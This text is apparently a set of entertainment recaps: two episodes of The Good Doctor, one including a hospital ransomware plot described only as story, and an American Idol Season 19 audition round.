“I spent all day reminding myself of all the reasons why this was a good idea, but now that it’s actually happening, it doesn’t make me feel any better,” she said. “It just makes me feel really sad. Maybe it’s not the right time, but will it ever be?”

With Shaun’s support, Lea decided to keep the baby — and together, they’d start a family. As for how the series will navigate Lea’s pregnancy in subsequent episodes, Spara would only say this: “In true Lea-and-Shaun form, we will be covering the experience true to the foundation of their relationship, which is [with] total honesty.”

In a second, we’ll want to know what you thought of the episode — but first, a couple of other major developments worth discussing…

The Good Doctor 4x12 - Alex Park and Morgan Reznick Kiss* When Park admitted he had feelings for Morgan, she told him to pack his things and move out of her apartment. As he headed out, she gave him one last chance to admit he was just messing with her, but he couldn’t do that. His feelings are true. That’s when she told him it was good they were no longer roommates and kissed him! “This is a one-time thing… unless I change my mind,” she said. “So consider that an incentive.”

The Good Doctor 4x12 - Brian Marc as Dr. Enrique Guerin* Another newbie dropped out of the surgical program: At the end of the hour, Enrique decided he wasn’t O.R. material. He’d continue his residency at Johns Hopkins, where they’ll train him to head out into the world and help those in needy areas — much more his speed. Before he left, Dr. Guerin told Claire that she’s always doing so much for other people, and she needs to do something for herself every now and then. And so Claire returned home, climbed into bed and gathered information on a potential trip to Paris.

OK, now it’s your turn! What did you think of “Teeny Blue Eyes”? Drop a comment with your full review.

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The Good Doctor went full-on CSI: Cyber this week — and you probably have some thoughts.

In addition to the cyberattack, Monday’s Freddie Highmore-directed episode saw the departure of one of the newbies (no real surprise, given where her story left off four weeks ago) and the salvation of a fan-favorite friendship.

Before you hit the comments and try to make sense of St. Bonaventure’s cybersecurity system, let’s briefly recap what happened in “Decrypt”:

When the hospital was hit with a cyberattack, IT expert Lea sought to outsmart the hackers and prove herself to Glassman. After the dark-web terrorists caught wind of the hospital’s measly ransom offer (negotiated by Masters of Sex and Trial & Error alum Nicholas D’Agosto), they sent Lea a “signal text” — whatever that means. They doubled the ransom to $ 4 million and activated malware. “If we don’t pay, they’re going to delete our data and destroy all of our MRI, CT and x-ray machines,” Lea explained. Eh, just go with it.

Shaun’s girlfriend had just 24 hours to retrace the attack chain and retrieve the hospital’s data — “otherwise, we might as well toss every computer we have in the recycle bin,” she said. She pulled an all-nighter, performed high-risk server surgery (or something), and saved the day — just seconds before Glassman authorized the bitcoin transfer. In return, Shaun’s father figure thanked Lea for her hard work and invited her to his weekly poker game. (I would’ve offered her a raise, but that’s just me.)

As the clock was ticking, Lea received some much-needed assurance from Shaun. She was 95-percent certain that she could defeat the hackers, but the off chance of failure made her extremely nervous. In an effort to relate to her predicament, Dr. Murphy explained that he’s never certain that a surgical procedure is going to go according to plan; there’s always a chance something can go wrong, and that has to be OK.

Clearly, the pep talk worked.

As for Shaun, he worked alongside Claire and Olivia on an inspirational cancer survivor-turned-philanthropist who harbored a dark secret: He didn’t actually lose his leg to cancer — he was a fraud. He lost the limb in a freak motorcycle accident when he was 22 years old, but kept the lie going to inspire others, help those in need and (ugh) profit off of his philanthropy. When the truth was leaked to the press, Lim assumed it was Claire’s doing and pulled her from the case, only for Olivia to come forward and get herself fired. But as it turned on, Olivia wasn’t the whistleblower. She just wanted out of her residency.

In the parking lot, Olivia explained to Andrews that she never wanted to become a doctor, but everyone in her life, including her uncle, was just so gosh-darn persistent. At last, Olivia got through to him. Andrews meanwhile copped to being the whistleblower! He knew the patient was a fraud, but didn’t expect Lim to blame Claire. And he certainly didn’t expect it’d lead to his niece’s dismissal.

As for Lim: The chief of surgery made her way over to Claire’s apartment with a pint of salted caramel ice cream to apologize for her recent behavior. Claire accepted the peace offering and let her in. Friendship restored!

And lest we forget about the other Case of the Week… With the help of Park, Jordan and Asher, Morgan successfully orchestrated a multi-organ chain transplant and saved end-stage liver disease patient Jamie’s life.

OK, now it’s your turn: What did you think of The Good Doctor Season 4, Episode 10? Drop a comment with your full review.

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American Idol‘s second round of Season 19 auditions did not feature any more children of disgraced political figures, but it did introduce us to a girl who kind of looks like Katy Perry. And that’s not nothing.

The look-alike in question was 17-year-old Hannah Everhart, who charmed the judges with a lovely (if somewhat reserved) rendition of Johnny Cash’s “Wayfaring Stranger.” She had an interesting tone to her voice, but the judges needed to hear more.

They were slightly more impressed with her work on Etta James’ “At Last,” but the amount of coaching and encouragement this took has me wondering how Everhart will fare when the competition gets tougher.

Watch her audition below, then read on for a breakdown of 10 other memorable singers continuing through to Hollywood:

AMANDA MENA, 18 | This week’s first golden ticket went to Mena, an undeniable star who opened the episode with a killer rendition of The Beatles’ “Golden Slumbers.” In addition to earning that coveted sheet of paper, Mena was also dubbed “one of a kind” by a very impressed Perry.

AMMON OLAYAN, 17, and LIAHONA OLAYAN, 16 | This magical, musical brother-sister duo — the eldest of eight kids! — discovered their songwriting abilities while living in tents and raising goats. And in front of three slack-jawed judges, they demonstrated those talents with one of the best original songs I’ve heard on Idol in a long time (maybe ever?), a radio-ready jam that earned them unanimous yes’s across the board. The only hiccup, which I’m now predicting will result in a dramatic cut during Hollywood Week, is that older-brother Ammon needs to work on his delivery.

ANTHONY GUZMAN, 27 | No one, least of all the judges, would have guessed that this “modern Viking” was packing a set of pipes befitting an old-school crooner — especially since he was introduced via an over-the-top Avengers parody. “Don’t judge a book by his hammer,” Perry mused before giving him one of his two yes’s. (Despite Guzman helping Bryan get back to his Scandanavian roots, it was a no from him.)

CALVIN UPSHAW, 26 | The judges were really feeling this audition, an emotional performance of Calvin Richardson’s “Falling Out.” It was a little hard to tell whether the judges were fully sold on the song, or if they were just overcome by his heart-tugging backstory, but they sent him through either way.

CASEY BISHOP, 15 | This star-in-the-making was full of wonderful surprises, from her taste in music (Nirvana, Red Hot Chili Peppers, Sublime, etc.) to her powerhouse vocals. The judges enjoyed her countrified Motley Crue cover, but they loved her follow-up performance, a rendition of Ella Fitzgerald’s “My Funny Valentine” that was so good it literally made Perry giggle with delight.

YURISBEL, 25 | The judges have made some questionable decisions this season, but sending this “Cuban Cookie Monster” through to Hollywood might top them all (so far). Sure, he had a lot of energy, but so do bar mitzvah hype dancers. Where are their golden tickets?! Anyway, catching up with this guy in Hollywood Week should be… interesting.

CHAYCE BECKHAM, 24 | Another clear Top 10 frontrunner, this charmingly unconfident heartthrob has the kind of gravelly voice that quite simply gets you pregnant. And Kolton Moore & The Clever Few’s “What Brings Life Also Kills” was the perfect vehicle to show it off. Beckham better say his goodbyes to Apple Valley (there aren’t even any apples!) because he’s got a long future in this competition.

CASSANDRA COLEMAN, 24 | What is there to say about this musical angel, who blew the judges away with a powerful performance of The Killers’ “The Way It Was”? I kept trying to place her sound, but Bryan put it best: “You are a new voice that the world has never heard.”

WILLIE SPENCE, 21 | Not since the days of La’Porsha have we been treated to a “Diamonds” cover of this magnitude, but while she used the song to show off her lower register, Spence shined with his soaring high notes — the perfect cap to what felt like an extremely long night of auditions.

* While this recap focused solely on the contestants who made it through to Hollywood, can we take a minute to talk about Ace Stiles, the boy with the “quirky, vintage” voice who shared his story of coming out as transgender at 14? I’m not saying that I disagree with the judges’ decision that Ace needs a little more confidence and life experience to develop as an artist, but the whole segment felt a little… is exploitative too extreme of a word?

Which singers are you rooting for after Week 2? Vote for your favorites in the poll below, then drop a comment with your thoughts on the auditions below.

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